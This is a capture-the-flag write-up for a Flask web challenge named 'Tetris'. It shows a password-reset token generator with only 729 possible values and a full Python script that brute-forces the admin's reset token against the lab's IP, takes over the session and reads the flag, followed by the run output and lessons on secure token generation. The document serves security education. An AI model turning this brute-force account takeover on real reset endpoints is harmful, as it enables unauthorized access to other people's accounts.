Тетрис (Tetris)
Тетрис (Tetris)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin account takeover, Password reset token exploitation, Session cookie hijacking, Weak token bruteforce (729 combinations)
Summary
Task: Flask web app with password reset functionality. Solution: Bruteforce weak reset token (only 729 combinations using characters b, c, d) to take over admin account and access admin panel.
Тетрис (Tetris) — hackerlab
Description
Сможете ли вы найти способ получить доступ к учетной записи администратора, пока он занят установкой новых рекордов?
Target: http://62.173.140.174:16060
Analysis
Application Reconnaissance
Flask/Python web application (Werkzeug/3.1.3 Python/3.9.18) with functionality:
- Login form with redirect to /login
- Registration (blocks username "admin")
- Password reset at /reset_password
- Admin panel at /admin (requires session['user'] == 'admin')
Token Generation Vulnerability
A critical vulnerability was discovered in the password reset token generation function:
python read-only • copy alloweddef _generate_token(): _allowed = [98, 99, 100] # characters 'b', 'c', 'd' _result = [] for _ in range(6): _v = _allowed[random.randint(0, len(_allowed) - 1)] _result.append(chr(_v)) return ''.join(_result)
Problem: The token consists of only 6 characters, each of which can be 'b', 'c', or 'd'.
Search space: 3^6 = 729 possible combinations — trivial to bruteforce!
Solution
Attack Vector
- Request password reset for admin user via POST /reset_password
- Bruteforce all 729 possible tokens at /reset/<token>
- Valid token returns 302 redirect and sets session cookie with admin
- Get flag at /admin
Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Tetris - Weak Password Reset Token Bruteforce hackerlab CTF Token space: (b, c, d)^6 = 729 combinations """ import requests import itertools import re BASE_URL = "http://62.173.140.174:16060" # Generate all possible tokens: 3^6 = 729 combinations chars = ['b', 'c', 'd'] tokens = [''.join(p) for p in itertools.product(chars, repeat=6)] print(f"[*] Generated {len(tokens)} possible tokens") session = requests.Session() # Step 1: Request password reset for admin print("[*] Requesting password reset for admin...") resp = session.post(f"{BASE_URL}/reset_password", data={"username": "admin"}) print(f"[*] Reset request status: {resp.status_code}") # Step 2: Bruteforce tokens print("[*] Bruteforcing tokens...") for i, token in enumerate(tokens): resp = session.get(f"{BASE_URL}/reset/{token}", allow_redirects=False) if resp.status_code == 302: print(f"[+] Found valid token: {token} (attempt {i+1}/{len(tokens)})") # Follow redirect to get session location = resp.headers.get('Location', '/') session.get(BASE_URL + location) # Step 3: Get flag from admin page admin_resp = session.get(f"{BASE_URL}/admin") flag_match = re.search(r'CODEBY\{[^}]+\}', admin_resp.text) if flag_match: print(f"[FLAG] {flag_match.group()}") else: print("[*] Admin page content:") print(admin_resp.text[:500]) break if (i + 1) % 100 == 0: print(f"[*] Progress: {i+1}/{len(tokens)} tokens tested...") else: print("[-] No valid token found")
Result
[*] Generated 729 possible tokens
[*] Requesting password reset for admin...
[*] Reset request status: 200
[*] Bruteforcing tokens...
[+] Found valid token: bdbdbd (attempt 247/729)
[FLAG] CODEBY{REDACTED}
Lessons
-
Token entropy is critical: 729 combinations is catastrophically low. Minimum 128 bits of entropy for security tokens.
-
Use cryptographically secure random:
secrets.token_urlsafe(32)instead ofrandom.randint(). -
Rate limiting is mandatory: Even a weak token is protected if you can't make 729 requests in a row.
-
Task name is a hint: "Tetris" — a game with falling blocks. The token "falls" (bruteforce) very quickly.
Secure Alternative
python read-only • copy allowedimport secrets def generate_secure_token(): # 32 bytes = 256 bits of entropy # URL-safe base64 encoding return secrets.token_urlsafe(32)
Result: dGhpc19pc19hX3NlY3VyZV90b2tlbl9leGFtcGxl — impossible to bruteforce.